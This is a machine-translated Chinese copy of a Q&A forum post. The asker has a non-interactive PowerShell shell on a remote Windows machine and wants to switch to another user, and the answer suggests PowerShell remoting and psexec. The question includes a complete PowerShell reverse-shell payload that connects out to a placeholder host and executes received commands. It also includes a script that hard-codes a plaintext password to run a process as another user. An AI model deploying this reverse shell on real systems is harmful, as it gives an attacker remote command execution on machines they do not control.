当Shell不完全交互时,如何使用Powershel以其他用户身份登录或以其他用户身份运行脚本?

时间:2019-01-07 01:29:24

标签: windows powershell cmd

我有一台远程Windows机器,使用以下命令将外壳发送给我一个Linux机器:

$client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
$stream = $client.GetStream();
[byte[]]$bytes = 0..255|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();

在Linux命令行上,我可以使用Powershell在远程Windows机器上输入命令。我的目标是将Shell更改为另一个用户或以另一个用户身份运行脚本。 我试图使用以下命令以新用户身份登录:

runas /user:domaint\admin cmd.exe

但是,不幸的是,外壳程序不是完全交互的,当它提示输入密码时,它会迅速关闭提示并等待新命令。 反正迫使Powershell等待我的回应吗?或获得完全交互式外壳的方法?

在进一步尝试中,我编写了以下脚本以其他用户身份执行我的脚本,但是“ test.ps1”未执行:

$username = 'domain\user'
$password = 'pa$$word'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process test.ps1 -Credential $credential

我知道此方法不安全,但是由于我没有输入凭据的选项,因此可能需要将它们存储在脚本中。 (这是出于娱乐和挑战目的)。 关于如何修复脚本以执行另一个脚本或获得完全交互式的Powershell终端的任何建议?

谢谢

1 个答案:

答案 0 :(得分:0)

您无法使用PowerShell创建完全交互式的远程会话,并且用户交互式会话也不是自动化的最佳方法。您可以使用Linux支持的PowerShell核心。然后,您可以和Invoke-Command作为其他用户进行远程处理。了解有关PowerShell核心here和Linux here的更多信息。

如果您确实需要交互式会话,那么我建议将psexec.exe-i选项一起使用,以创建交互式会话。

psexec \\server -i powershell -file c:\test.ps1